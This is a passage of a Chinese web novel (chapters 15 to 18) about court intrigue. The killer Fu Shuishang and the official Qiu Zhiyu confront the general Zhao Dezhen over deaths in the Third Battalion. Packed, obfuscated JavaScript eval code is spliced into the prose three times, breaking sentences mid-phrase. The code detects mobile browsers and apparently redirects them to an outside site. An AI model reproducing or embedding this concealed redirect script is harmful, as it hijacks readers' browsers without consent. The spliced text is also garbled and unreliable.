“你再不喝解药的话,就该要毒发身亡了。”丘执玉冷不丁地开口,把她吓了一跳。她连忙把手里的水一饮而尽,却也并没有感觉到丝毫不同。全然没有什么身中剧毒又解开的感觉。 傅水伤也没多在意,放下杯子便说起正事,“丘大人,我有话要说。我遇见了羽林军统领池之澈。” 她一口气将池之澈的话全都转述给丘执玉,又将清晨遇见池之澈和京郊营地里所见所闻都说了。却只看见丘执玉拧着眉头,满脸不可置信。 最后又坚定地摇了摇头,“不可能的。” “什么不可能。”傅水伤问。 “赵大人不可能想要谋害陛下,陛下也不可能去逼赵大人谋反。”丘执玉不断地摇着头,“她们生死之交,一定是有误会。” “人总是会变的嘛。”傅水伤不理解丘执玉为何这样坚定,她觉得池之澈所言才是正常,心机深沉的皇帝和手握重兵的臣子,本来就应该互相提防才对。 “再说了,她们生死之交,和丘大人又有什么关系?”傅水伤不解,“她们究竟怎么样,外人也不能知晓全貌。” 丘执玉便抬头看向了她。她似乎是有些生气了,眼神里闪动着傅水伤从未见过的怒火,“我和她们……我们生死之交。” “我知道全貌。” 她又很快收回目光,走出门去,“我进宫一趟。” 那难言的怒火让傅水伤愣了一下,她倒是察觉出丘执玉的怒气不是冲着她来的,便连忙起身阻止,“太阳快要落山了,天黑之前到不了皇宫的。” 外面日光沉沉,已是黄昏。丘执玉扫了一眼,只好又走了回来。 “明日进宫,”她重又看向傅水伤,“你随我一起。” 15.秋雨 “有我什么事儿?为什么我也……”傅水伤拒绝到一半,在丘执玉不满的眼神下就改了腔调,“……去就去。” 丘执玉才把目光收回,坐下来看着窗外,不知在想些什么。她那么专注地发着呆,完全无视了傅水伤。傅水伤便出声告辞。 “那我回家睡觉去了?丘大人?” 丘执玉回神,挽留道:“天要黑了,留下来睡吧。” 总归明天还要一起入宫,傅水伤也没有推辞。她睡在丘执玉旁边的客房,天一亮便被叫醒,两人一同乘车去了皇宫。 皇帝也才刚刚睡醒,通报过后便让她们直接进了大威宫。进去时她也还没有换下睡袍,正懒懒地坐在桌前。 “执玉,”皇帝抬眼看向她们,指了指对面,“过来坐。” 丘执玉坐了过去,憋了一夜的疑问再也藏不住,焦急万分地开口,“陛下,池大人说……” “朕知道阿澈说了什么。”皇帝只是微微点头,声音比丘执玉低得多,却瞬间令她噤声,“是朕的意思。” 丘执玉急了,“赵大人根本不可能……” “嗯。”皇帝却又一次打断了她的话,“天才刚亮,你来时没有用早饭吧?先吃一些。” 这时早膳已传了上来。丘执玉拿起筷子,却又很快放下,在桌面上砸出不轻不重的声响。 “我吃不下。”她抬起头,直勾勾地盯着皇帝,“危鸣晨,你先说清楚,究竟是怎么一回事?” 看起来丘执玉的确是很生气了,生的却似乎还是皇帝的气。连“陛下”都不叫了,竟然直呼其名。 危鸣晨。 “边吃边说。”傅水伤刚在心里把这名字默默重复了一遍,便见危鸣晨扫了她一眼,“你出去。” 傅水伤不大乐意,她也想吃……不是,她也想听。 可丘执玉只一心盯着危鸣晨,等待答案,什么也没说。而危鸣晨看她的目光已有些不耐烦了,她便只能走了出去。 好在出门后便有人带她去了别的房间,给她送了一些吃食。她吃完后回到大威宫外,听侍卫说那两人还在里面说话,便自己去找了个角落蹲着。 大威宫后头有一个凉亭,周围全是密密的竹林。她走进去坐下,听到身后传来一道浅浅的呼吸声。 傅水伤以为是守在这里的侍卫,一回头却再次看见了一个极为熟悉的人影。 那体格很大的少年蹲在不远处的青石小道上,低头看着地面。她一动不动,若非有呼吸,简直就像是一座雕塑。 “凌王殿下?”傅水伤几乎要怀疑她是在跟踪自己了,怎么到哪里都能看见,“阿澈呢?” 凌王自然不会理她,依旧抱着膝盖,一动不动。 今早起来时天色便是阴沉沉的,此时又飘起了细雨,凌王蹲在外面,身上很快便被雨水打湿。 傅水伤没看到池之澈,只好自己去请侍卫找了把伞,拿回来撑在凌王头顶。 她也被迫跟着一动不动地站了许久,只觉得浑身难受。想了下,她直接把伞柄插进凌王腋下,塞在她手臂之间夹着,自己跑回到凉亭下面。 “殿下,”傅水伤实在是无聊,便试着和这位凌王说话,“你在看什么?” 凌王只盯着地面,全然不曾理她。雨渐渐大了,雨水汇集在地面,她便盯着流动的细水。 傅水伤也在凉亭边缘蹲下身来,看了看地面。她看不出什么名堂,便从怀里掏出一颗拇指大小的金珠子,轻轻一推,让它滚到了凌王脚下。 那少年竟真的被吸引了目光。她终于动了起来,伸手接住金珠,又让它滚回到傅水伤那里。 傅水伤笑了下,再次推过去。一来一回几次,金珠被凌王滚到了别处,她便走过去钻到伞底下,再次发问:“殿下在看什么?” 视线被遮挡,凌王便立刻皱眉。她抬头去看傅水伤,忽然双手抱住她的脸,用额头在她的额头上蹭了蹭,开口道:“我已经陪你玩过了,你到旁边自己去玩吧。” 她说完,又从怀里掏出了一把金珠,扬手撒在地上。那些金珠子跳动着四处滚落。 傅水伤第一次听到这人开口。她声音有些沙哑,偶尔还有那么几个字只做了嘴型,却并未发出声音。像是很久没说话,连发声都不太熟练了。 她也同样第一次被人抱着脸蹭,一时不知是不是该要生气。但她很快又听到凌王疑惑地问她:“你怎么不去捡?你喜欢的珠子。” 凌王轻轻摸了摸傅水伤的脑袋,“快去,不然被别人抢了。” 这下她不必犹豫,心里已有些生气了。 这摸猫狗一般的手法,还有这熟练的动作与话语。这位凌王殿下恐怕是很喜欢撒一把金珠子出去,看着穷苦之人爬在地上去捡,丑态百出地争抢。 不愧是皇家,哪怕只是个傻子,也天生就会不把人当人。 不过傻子倒是很容易“意外”身亡…… 凌王已再次低下头去,盯着地面。傅水伤便深吸口气,捏了捏她身上的肥肉。 她想要说些什么,余光却见丘执玉撑伞走了过来。她似乎有些心神不宁,抬脚就要踩在一颗金珠子上,也全未发觉。 却把傅水伤吓个半死,匆忙窜过去,一把抓住丘执玉的脚踝,将那颗金珠从她脚底下抢了出来。 丘执玉站立不稳,直接一屁股摔倒在地。她茫然了片刻,才看向傅水伤,问道:“……你做什么?” 她的伞滚落一旁,跌倒在一片泥泞里,又被倾盆大雨淋透。傅水伤看着她一身狼狈,全然不知道该怎么解释。 那颗险些被踩到的金珠子是她自己的。她随身带着这么一袋,里面大多是空心做了手脚的。有的含有剧毒,有的能放出迷雾……,是她保命用的东西。 而手里这一颗,是用力一踩便能将人炸成碎片的。 “……这是凌王殿下赏我的。”傅水伤硬着头皮瞎解释,“你踩了的话简直大不敬。” 她说完又匆忙去捡其它散落一地的金珠,把手里这颗埋藏在其中,自然而然地塞回到怀里。 “……”丘执玉沉默片刻,爬起来将伞捡起,才又道,“你这种人,没有故意去踩凌王本人就不错了,说什么怕别人踩到凌王的东西。” 她却也并没有再追究傅水伤这奇怪行径的原因,而她总归是了解傅水伤,知道凌王扔一把金珠子让她去捡的话,她心里究竟会想什么。她便替凌王解释,“殿下并非有意羞辱你。” “凌王府里有很多野猫,不知是否是这个原因,她分不清人和猫。”丘执玉道,“除了陛下和池大人,她觉得其她所有人都是猫。她只是在逗猫玩罢了。” 那算她幸运,保住一命。 傅水伤一边在草丛里找那些金珠子,一边咬牙切齿地想。她终于把所有的珠子都捡了起来,忽又听到丘执玉问:“凌王殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992535|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下受伤了?” 傅水伤急忙回头去看。她想刚才可就只有她们两人在,千万别赖在她头上才好。然而她没能看到凌王状况,便先见池之澈冒雨急匆匆地跑过来,问道:“殿下受伤了?伤在哪里?” 凌王脚底下确实有隐隐约约的血迹被水流带了出来,傅水伤走过去,又见池之澈伸手抱住丘执玉的肩,趁机躲在她伞下,好似松了口气。 “经血而已,你又不是没有。”池之澈看清了,便道,“丘大人你是女人吧?怎么像没见过似的。大惊小怪,吓我一跳。” 听她如此说,丘执玉便只是放下心来,微微点头。又对傅水伤道:“我们走吧。” 傅水伤走到她伞下,跟着她离开。回头见池之澈与她们挥手告别,随后坐到凉亭里避雨,全然没有要带凌王离开的意思。 她又回过头来,想着丘执玉似乎对凌王有些了解,便想问一问那凌王每天到底在看些什么。 可丘执玉一副心神不宁的样子。满身泥水,却连生气的心情都没有。她只是默默走着,也不去和傅水伤说话。 这一副失魂落魄的模样,便教傅水伤下意识地换了个问题,“丘大人,陛下和你说什么了?” “没什么。”丘执玉像是被突如其来的声音吓了一跳似的,呆了一下,才说,“赵得真的事你不必管了。我来。” 傅水伤乐得轻松,自然点头。可她对丘执玉多少还是有些担忧,便又问:“赵大人是真的准备要造反?” 丘执玉并未回应,既没有点头,也没有摇头。她只是沉默片刻,才道:“你只要把你的刀磨好。其余不要多问。” 把刀磨好。这四个字就足以让傅水伤满足了。她便真的没有多问,送丘执玉去到明镜府,又回了自己家中。 雨一直下到了第二日,丝毫不见停歇。天气仿佛一夜之间由夏入秋,清晨时傅水伤是被冻醒的,一边咳嗽一边努力从床上爬起。 她已住在了新买的院子里。池之澈果然说话算话,昨日她回来时,这院子已焕然一新。而她从前的东西也并没有被乱动,依旧扔在地上。 傅水伤吸了吸鼻涕,把地上的包裹打开,找到压在下面的厚衣服换上。这衣服依旧是丘执玉给她的——她打开的包裹里,有一大半衣服都是从丘执玉那儿拿来的。 丘执玉实在是很喜欢随手给别人发衣服,只怕明镜府所有人都有她的衣服。 傅水伤盯着它们看了片刻,又转头去看窗外大雨。 那雨真的是很大,细密雨幕甚至把京郊连绵山脉都遮蔽了,只留下淡青的影子。 她看了许久,便猛然起身,拿起大刀走了出去。 雨全落在身上。傅水伤心里隐隐不安,又被不知何处来的杀意渐渐充满。她想此时丘执玉应是已经去查赵得真了,而她现在这样子,倒好似丘执玉已被赵得真所害,而她迫不及待地想要去杀了赵得真报仇。 她先走到了明镜府,找到来当值的阿阳,问她:“丘大人呢?” “去、去了京郊,”阿阳被她满身杀气吓得结巴了一下,“京都卫军的营地。” “她一个人?”傅水伤几乎就要转身跑了。 好在阿阳摇了摇头,“和仙尊一起。” 那还好。即便发生了什么,至少文武成还能带人逃跑。 可她刚把心放下,却见文武成打着哈欠推门出来,拐个弯走到了另一边。 16.第三营 “你说的仙尊是叶边舟?”傅水伤指着文武成离开的方向,无来由地焦急,“就只有丘大人与叶边舟两人?” “是啊。”阿阳点头,被她的情绪所传染,也跟着心焦起来,“怎么了?发生什么事了么?” 傅水伤已来不及解释。她想要让文武成带她去京郊,追过去时却已找不到文武成的影子,便只好对阿阳道:“马车呢?我去找丘大人!” 阿阳也不多问,把马车牵出来,坐在上面,“我也去!” 傅水伤只去过那么一次,实在记不得路。她虽不想让阿阳跟着,却也只能点头同意,坐上了马车。 暴雨倾盆,街上空无一人,马车便跑得飞快。她们很快出了城门,进入京郊荒野之中。 “究竟是出了什么事?”阿阳这才回头去问,“是丘大人那边有什么问题么?” 傅水伤只是摇头。她自己也不知道究竟是有什么问题,只是莫名地想要找到丘执玉。 她想丘执玉应当是奉危鸣晨之命,去逼赵得真谋反的。那倘若赵得真果真就反了,随手杀个丘执玉简直易如反掌。丘执玉竟带着一个骗子就那么去了。她大约是心底深处想起这些,难免忧心,并不是犯了什么病。 可阿阳却不这么想。她看傅水伤不答,又见她满身杀气愈发浓重,立刻就得出结论:傅水伤这是又犯病了。 这人发病的时候就想要杀人,阿阳心里清楚。她很是后悔自己跟过来,现如今四下无人,等傅水伤彻底失控,第一个要杀的肯定是自己。 而傅水伤的眼神也越来越冰冷。她忽然拔出刀来,吓得阿阳起身便跑,决定立刻跳下马车去。 哪怕全身骨头都断了,也总比死了要好。 她方这么想着,却见傅水伤调转了刀身,刀尖向后穿过腋下。她双手紧握着刀柄,往身后用力一插,直至刀身完全没入车壁,才又拔了出来。 有沉闷声响从马车后方传来,银白锋刃上也沾满了鲜血。阿阳一只脚已踏出去,好不容易扒着车门,才把自己拉回来。她看了眼傅水伤,扯着缰绳让马车停下。 “水伤?” 应是有人趴在马车后面,紧紧地贴着,与她们只隔了薄薄一层木板。抽掉木板的话,她们怕是能直接坐在那人怀里了。 这场景想想就叫人头皮发麻。她不明白是什么人会做这种事,跟踪她们两个又有什么用处。 好在被傅水伤发现了。 “你已杀了他了,”阿阳先小心翼翼地蹲在门口,观察着傅水伤的状况,“就不会杀我了吧?” 傅水伤才回过神来。她心中杀意稍稍平息,便摇了摇头,“原本也不会杀你的。” 她总算看起来正常了许多,阿阳便松口气,驾车倒回去一点,找到了那刚死掉的新鲜尸体。 是个瘦小的男人。他躺在大路中央,胸口一个血窟窿,已没了呼吸,死得彻底。阿阳只远远看了一眼,便蹙眉道:“是第三营的人。” “第三营?”傅水伤想起池之澈所说,越发疑惑这人为何在这里。 要造反的是赵得真,杀他们的也是赵得真。丘执玉算得上是拯救他们去了,怎么他们却要来跟踪明镜府的人? 而她又很快想起第三营忠心耿耿那些话,她看危鸣晨所为,似是对第三营也极为看重…… 傅水伤便回头去看阿阳,幽幽开口,“我想你什么也没看到——我们一路上并未见到过别人,我更不曾把刀拔出。是不是?” 阿阳像是愣了一下,才轻轻点头:“……是。” 毕竟离上次杀人也不过几天时间,傅水伤并未失控。她当阿阳是被自己恐吓到了,有些犹豫自己是该安慰一声,还是该继续威胁上几句。 可她一抬眼,却并不见阿阳脸上有什么恐惧之色。分明刚才吓得险些要跳车逃走,此时却很快回神,甚而帮着傅水伤忧心,“只是有第三营的人死在这里——在我们路过的时候。这样大的雨,出城的人极少,城门守卫一定记得我们。这要怎么解释?” 傅水伤便有些奇怪地打量了她一下,随即也懒得多想,只道:“赵得真不是杀了许多第三营的人么?尸体处理了扣她头上就是。” 她环顾四周,所幸暴雨之下空无一人,而她记得这附近应是有一道悬崖。崖底罕有人至,又满是吃人的野兽,抛尸再好不过。 她便把男尸扛到马车上,驾车过去,将车厢和男人全推了下去。只留下一匹马,骑上去朝阿阳伸手。 阿阳抓着她的手,借力上马。 暴雨迅速将她们身上的血迹洗干净,亦将留在地面的痕迹冲刷殆尽。阿阳抱着傅水伤的腰,在她身后大声问:“你说赵将军杀了不少第三营的人?是怎么回事?” “丘大人没和你说?”傅水伤亦大声回答,她喉咙有些痒,一边咳嗽着,一边道,“她要造反,想先将忠于皇帝的第三营解决了。” 阿阳似乎又说了些什么,傅水伤没能听清。离了马车,马儿的速度又加快了不少,她们已隐隐看到了营地的影子,便都安静下来。 营地外有士兵拦着,傅水伤也全然没理,挑开她们手中的刀剑便直接闯了进去。她很快看到了丘执玉和叶边舟,那两人正站在暴雨中,与赵得真对峙。 或者应当说是被赵得真与朱向明带着的数千人马所包围。 傅水伤从丘执玉身后人少的地方纵马过去,刀剑纷纷围拢过来,对向了她,她也全未理会,毫不停歇地跑到了丘执玉身边,拉着阿阳跳下了马。 那马匹一时难以停下,继续跑了出去。傅水伤一只手紧抓着阿阳,另一只手拔出刀来,站在丘执玉身边。 丘执玉不由回头看她,“你们怎么来了?” “你们又怎么来了?”傅水伤扫过周围蓄势待发的刀与箭,“你们准备两个人对上她们千军万马吗?” 叶边舟只是微微侧目看了她一眼,而丘执玉便疑惑不解地开口,“有仙尊在,不会有什么事的。” “即使有事,加上你和阿阳——我们四个人对上千军万马,难道胜算会变大一些吗?” 她想让傅水伤和阿阳先行离开,但傅水伤自然不肯。她心里莫名的焦躁不安并未因见到丘执玉无碍而消散,反而是更加浓烈了。 “真是条好狗,这么忠心耿耿地跑过来陪主人一起送死。”对面赵得真忽然嘲笑出声。 傅水伤听见,便抬眼望去。她只觉自己身上的杀气忽而加重,几乎要凝出实体来了。她甚至觉得自己慌张跑来并非是有多么担心丘执玉——她倒更像是太想杀赵得真了,已一刻都不能忍地跑过来要取赵得真首级了。 好在赵得真也只说了这么一句,随后又将目光转向丘执玉。她冷声道,“丘执玉,除了有任务在身外出未归的,京都卫军已全在这里了,你查好了吗?” 丘执玉先把傅水伤扯到了身后,又一一看去。她很快摇头,问道:“我没有看到第三营的人。他们在哪里?” “第三营虽名义上在京都卫军旗下,可从来都只听陛下的命令,我怎么叫得过来?”赵得真勾着半边嘴角冷笑,“我真叫过来了,你是不是要说我居然能指挥得了第三营,一看就有谋逆之心,把我给抓走啊?” 丘执玉再次摇头。她沉默片刻,看着赵得真双眼,道:“自你从红溪谷回到京都,第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996890|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三营的人便开始无端身亡。至今短短十几日,已有四百七十四人死去。” “京都太平无事,他们是怎么死的?” 这话说完,心虚不安的却只有傅水伤。她没想到这么短的时间——甚至连一天都不到,丘执玉便已查得这么清楚。 四百七十四,这样精准,她实在担心自己随手弄死一个的事儿终究要隐瞒不住,便控制不住地看了阿阳一眼。 阿阳与她对视,却是主动凑到她耳边与她说话,“所以丘大人大张旗鼓来查赵将军,并不单是为了宫中侍卫之死,更是因为赵将军杀了些第三营的人?” 傅水伤点头,又听阿阳说:“那赵将军做的不是好事么?第三营那些人,本来就全都该死。” 她语中带着些难言的愤恨,倒像是和第三营有什么过节。傅水伤便忍不住去问:“第三营怎么你了?” “反正他们畜生一群。”阿阳很少这般情绪激烈,“如今安分也只是因为有赵将军约束,先帝在时他们可是无恶不作。” 先帝在时如何,傅水伤也并不了解。她便只是点了点头,道:“可赵得真杀人又不是为了替天行道。她杀的只不过是忠于皇帝的人……” “她们争权夺利又关我什么事?谁把第三营灭了我便支持谁。”阿阳不知是陷入了什么回忆,压低的声音都微微大了一些,“陛下非要留着他们——难道这群蛆虫还有什么用吗?” 她深吸口气,又突然没头没尾地说了一句,“男的全死了才好。” 傅水伤便先扫了周围一眼。虽说并没有人在意她们说了些什么——所有人都只看着丘执玉与赵得真。可她们毕竟也还在人群中心,众目睽睽之下。 “好了,我们回去再说。”她便拍了拍阿阳的背,让她暂且住口。 她不知阿阳和第三营有什么仇怨,想到阿阳甚至比她更早地来了明镜府,便又看向了丘执玉。 而丘执玉还在与赵得真说着话,“……我自然是有证据。” 傅水伤不知她们说到哪儿了,只跟着所有人一起看着丘执玉。可丘执玉说完这话,却只是一动不动地站着,并不见有什么“证据”拿出来。 等了几息亦不见反转,赵得真已准备要开口嘲笑了。可她话未出口,脸色忽又阴沉下来,抬头望向丘执玉身后。 傅水伤也听到了身后交战的声音,像是有什么人打了过来,正欲突破重围。而丘执玉也在此时开口,“证据来了。” 她道:“放他们进来。” 赵得真沉着脸不说话,只咬牙扫了丘执玉一眼,全然不准备理会。她身旁的朱向明也看了看丘执玉,却开口道:“放他们进来。” 人群分开,那一行人走到了丘执玉身后。傅水伤看到其中有几个眼熟的影子,是她先前在营地吃饭时见到过的那几个男兵。 “第三营。” 阿阳忽然开口吐出这么三个字,随后死死地盯着他们。 傅水伤皱眉去看。她总算是见到了这传说中的第三营,却在看完的一瞬就握紧大刀,思索自己一个人上去把这几千人全砍了的可能。 这些人甚至还未开口说话,傅水伤不知自己这杀意是从何而来,甚至一瞬间让她对赵得真的杀意都淡了。 她不免反思了一下自己,觉得全都怪这群人长得太欠杀。 而她也忽便明白了阿阳方才那句“男的全死了才好”是怎么一回事。自危鸣晨继位,她便一直在朝堂上下提拔女人,上至丘执玉这样的位高权重的朝臣,下至她这样干脏活的刽子手,早已处处都是女人。 可这第三营里却还全都是男人。这实在是很不正常。 17.病 但傅水伤很快也便想明白了。第三营既然能存在数百年,哪怕是改朝换代也不能影响他们丝毫。那想来自成一派,皇帝也无法干涉太多。大约她也只有两种选择,要么维持原状,反正他们总归是忠于自己;要么直接设法击破,从此再不存在第三营。 而危鸣晨如从前所有的皇帝一般,选择了前者。 她也没能再想更多,第三营为首之人已站出来说话了。 那男人极为愤怒的模样,先对着赵得真指责了一通,无非就是些赵得真越界处处干涉打压第三营的话。傅水伤听得都快要忍不住上去给他一刀了,他才终于说到了该说的地方,“……那几百具尸体,就被她藏在了营地西边库房的地下暗室里!” “哦,我往地下暗室里藏了几百具尸体?”赵得真看着他,竟笑了起来,“我什么时候藏进去的?” “前日一早起来,你就让你的人把那些尸体都运了进去。”那男人道,“在仙尊到来之前藏好,甚至骗过了仙尊!我可是亲眼所见,第三营所有人可也都记得你是如何将弟兄们的尸首强行带走……” 赵得真一边听着,一边上下打量他,好似是在认真记住他的模样。他难免站立不安,求助般地看向了丘执玉。 而丘执玉才终于开口,“那地下暗室在何处?带我们去。” 这男人便迅速地转身带路。他好似是生怕赵得真阻止,时不时便回头看上一眼。可赵得真只是神色平淡地跟着,一边与朱向明悄声说着什么。 还没走几步,傅水伤就已然失望起来了。那方向显然就是她们前日去过的地方。而等那人停下来,面前果真就是那堆满了箭矢的房子。 士兵们留在屋外,只有那男人带着丘执玉几人进去。那男人亦找到了入口,如文武成一般摸索着找到一个微小的孔洞,将暗门打开,露出其下的地道。 “就在这里,我亲眼看着她们将尸首藏进去。”男人看向了赵得真,似有几分得意,“赵得真,你敢让丘大人和仙尊下去看看么?” 赵得真却比他还得意,挑眉道:“敢啊,特别敢。谁想看就看,随便看。” 那男人便有了几分迟疑,但他又想或许赵得真不过是在虚张声势。毕竟他所说的皆是他亲眼所见。他便还是看向了丘执玉,道:“丘大人,请随我下去一看。” 他甚至已准备好了灯笼。丘执玉便只是点头,让那男人走在最前,随后跟着进去。其她人也一一进入其中,赵得真走在了最后。 挤过那长长的只容一人通过的狭窄洞穴,丘执玉忽自言自语一般地开口,“这样的地方,独自走过已然艰难,还有抬尸的余地么?” “除了入口拐角,全都是笔直向下走的路。”她身后的傅水伤下意识地接话,“先下来几个人,扯条绳子,让留在外面的人把尸体手脚挂在绳子上滑下去,又快又省力,哪里需要费劲去抬。” 丘执玉略想了一下那画面,回头去看傅水伤,“……你倒是很熟练。” “哈哈哈,也没有。”傅水伤一看她的眼睛便克制不住地心虚。她干笑了一声,又咳嗽起来,“我随便说的。我可绝对没有做过这样的事!” 丘执玉倒也没有为难她,她只是又思忖片刻,再次开口,“即便放下来容易,要运出去的话,就加倍地困难了吧?” 实则也简单得很,但这下傅水伤已老老实实不敢回答了。而丘执玉说完这话,眼前已豁然开朗,走到了那铸铁大门之前。 门依旧开着,保留着前日傅水伤离去时的模样。一眼便能看到空荡荡的内里。 自然也依旧是什么都没有。 “你说的尸体在哪儿呢?”赵得真似怒似笑地扫了一眼,又看向领路的男人,“指给丘大人看看啊?” 那男人已有些焦急。他想说是被赵得真又藏到了其它地方,却回忆起刚才丘执玉偏在要入门时说什么“要运出去加倍困难”的话,竟提前把他的话堵住了。 何况他也确实只见入不见出。他另有别的怀疑,便道:“这底下定然还有其它暗室相连!” 丘执玉只是轻轻点头,先走进去查看一番,又带众人一起回到地面。她这才问那男人,“你确信赵将军是将那些尸首藏在了这下面,对吗?” “是!”男人立刻点头,“我亲眼所见!” “自月初赵得真从红溪谷回来,第三营的人便开始离奇身亡。他们皆是死在夜晚,清晨才被身边人发现。 “更为离奇的是,那些人初被发现时,皆宛如睡梦之中,身旁人只以为他是想要赖床。直到被人轻轻一碰,忽便露出了死状,立刻变得血肉模糊起来。 “我们本以为是遇上了什么鬼怪,可同在京郊营地,赵得真的人却无一伤亡。我们想要上报给雁翎府时,又被赵得真阻拦。”那男人继续说,“她甚至是不允许第三营任何人离开京郊营地。我们好容易派人出去,还险些被她追杀!” 傅水伤听着,一时去思索那和吴小案中证人相同的说辞,一时又疑惑他们好不容易才能把人派出去,为何还要浪费一个跟踪她与阿阳。她想她那时或许是该留个活口问一问的,可惜那人太不耐杀,只言片语都未曾留下。 而旁边阿阳却听得止不住发笑,她没忍住又来与傅水伤说话,“先帝在时京都卫军哪里管得到第三营,他们烧杀抢掠起来,连雁翎府都不敢去管。先帝更是如同眼盲心瞎,问都不问一句。” “现如今却被赵将军一句话困在营地里出都出不去,远远不及当年了。甚至看起来连人数都只有五年前的一半,领头人还是这样一个一脸蠢相的东西!” 阿阳看起来格外开心,她觉得现在的第三营哪怕是放着不管,这般实力,再过几年也该自己散了。她便真心实意地夸赞了一句,“赵将军可真是厉害!” 她对赵得真简直已崇拜起来了,傅水伤实在害怕她下一刻就跟着造反去。她暂且还不想在明镜台前见到阿阳,便轻声说:“我似乎听人说过,当今陛下的皇位来路不正。她带兵逼得先皇退位,而先皇死得也不明不白。” “我想她那时也曾对上第三营,也曾和第三营你死我活。甚至如今第三营式微到如此地步,最大的原因恐怕还是陛下当年夺位时杀得太多,现今的样子大约都已是修养了五年的结果。 “她想要灭掉第三营轻而易举,可你看到了,第三营留到了现在。陛下似乎还有意重新重用——毕竟第三营可比什么朱将军赵将军都忠心的多。” “倘若赵得真成功了,你又怎么知道她不会重蹈覆辙?”傅水伤说,“你不要相信她们。” “不要等着别人来为你复仇。” 阿阳转头看着她。她脸上的笑容已渐渐淡去,可却又很快地笑了一下,“那我管她呢,他们现在倒楣了,我先笑一笑好了。” 傅水伤便不再多说。她收回目光时,见叶边舟正静静地望着这边,想起这骗子耳力极好,想是已把她们的话完全听了过去。 她便对着叶边舟一笑,“仙尊有话要说么?” 叶边舟微微摇头,她脸上看不出任何神情,只是重新让目光回到了丘执玉身上。 而丘执玉还在听那男人说话。她实在是很有耐心,即便这男人重复地说着相同的话,她也一直等到了连篇废话讲完,才开口道:“既然那些尸体就在这下面——” 赵得真看着她,而她也回头去看赵得真,“——那便挖出来给我看。” “是!” 男人立刻令第三营的人去取了铁锹炸药等物。他们先将地上的房屋夷为平地,随后冒着大雨挖掘。他们所有人都参与进去了,速度极快,或许天黑之前就能有结果。 可此时甚至还未到午时,到底也还要等上许久。而赵得真就站在一旁,她满脸不耐,仿佛随时要一声令下突袭过来,傅水伤便时刻警惕着。 一时之间也不会有结果,丘执玉便先带着傅水伤几人找地方躲雨。营地里简陋的房子屋檐太窄,她们只能进到屋中,又挤在门口去看。 丘执玉站在最前,她身边就是叶边舟。两人都被雨淋透了,浑身滴着水。而丘执玉竟还能摸出两套干衣服来,随手递给叶边舟一件,“仙尊换一换衣服吧?” 叶边舟只看着门外,摇头道:“不必。我不怕冷。” “只是不怕冷,”丘执玉依旧举着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那些人很快挖到了地下的暗室,他们这次并未用炸药,而是一片片地将砖头拆下来,企图找到背后的暗道。可直到那里只剩下了一个土坑,也全无任何发现。 傅水伤蹲在地上看着,忽地说了一句,“现在弄点炸药过去,应当能炸死一大半。剩下的即便不死,也全要被活埋的吧?” “……你说什么?”丘执玉低头看她一眼,被她满身杀气惊了一下,急忙道,“你别乱来。” “我只是说一说罢了,他们那么多人呢。”傅水伤尽力收了收身上的杀气,却又突然笑了一下,“不过倒也不难杀。” 她已在心里有了点简单粗暴的计划。 丘执玉再次低头,“……不若你先回明镜府去。我这几日尽量找几个陈年旧案来查一查。你不要在这里发疯。” 可还是太简单粗暴了,恐怕杀不了太多,更不可能杀光。她还得再想一想…… “傅水伤。”丘执玉蹲下身来,“你有在听我说话吗?” 傅水伤却猛然站了起来。 对面赵得真似乎是要离开了。她轻声与朱向明说了些什么,便转身带走了一些士兵。傅水伤莫名地想要拦着她——她在视线中时傅水伤杀气四溢,她要离开了傅水伤却又加倍暴躁。 可她的刀竟然是脱手了。她似乎病得更重了,只觉得头痛欲裂,好像有什么东西要从脑袋里钻出来一般。而她甚至站不稳,眼前一黑险些摔倒。 叶边舟及时扶住了她,让她到后面堆放着的木箱上坐下。傅水伤坐了片刻,又直接躺了下来,而丘执玉也才注意到她异常红润的脸色,走过来摸了摸她的额头。 “你发烧了。”丘执玉皱起眉,“我去给你找点药来。” 傅水伤扯住她的衣袖,没让她走,“天快黑了,你别乱跑。你把我的刀拿来吧。” “还没有黑。”丘执玉让阿阳将她的大刀捡来,接过去递给她,“这种时候还要你的刀做什么?” 傅水伤一边去够她的刀,一边道:“你到底给我下的什么毒?我毒发之前一定要给你一刀才好。” 丘执玉递刀的手一顿。她原本想解释自己并没有用那么重的药,但她选择先把刀放回地面,一脚踢远了。 18.尸首 然后她才解释,“那药并没有这么厉害,你或许是真的生病了。我去给你找些药来,不然你要烧傻了——你已在说胡话了。” “别去了。”傅水伤又说,“天快黑了,你别乱跑。” “还没有黑。”丘执玉也再次重复,“只不过是暴雨天,看起来阴沉一些。离天黑还有些时候。” 她这下没再听傅水伤的拒绝,站起来走了出去。待走到门口,她又回头对阿阳说:“你去找把伞来,把水伤带到南面宿房,别再教她淋雨了。” 阿阳点头跑了出去,丘执玉又对叶边舟道:“麻烦仙尊照看她一下。” 